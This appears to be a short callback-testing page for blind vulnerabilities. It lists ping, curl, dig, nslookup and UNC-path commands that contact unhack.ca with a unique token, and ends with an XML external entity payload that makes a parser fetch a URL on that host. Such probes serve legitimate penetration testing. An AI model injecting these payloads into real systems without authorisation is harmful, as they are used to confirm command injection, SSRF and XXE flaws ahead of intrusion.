$ ping -c1 -p 009128a87ffafaa135dc8d01fad56100 unhack.ca
 

$ curl http://unhack.ca/p/9128a87ffafaa135dc8d01fad561
 

$ dig 9128a87ffafaa135dc8d01fad561 @unhack.ca
 

$ dig 9128a87ffafaa135dc8d01fad561.ns.unhack.ca
 

C:\> nslookup 9128a87ffafaa135dc8d01fad561 unhack.ca
 

C:\> type \\unhack.ca\9128a87ffafaa135dc8d01fad561\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9128a87ffafaa135dc8d01fad561">]>
    <foo>&xxe;</foo>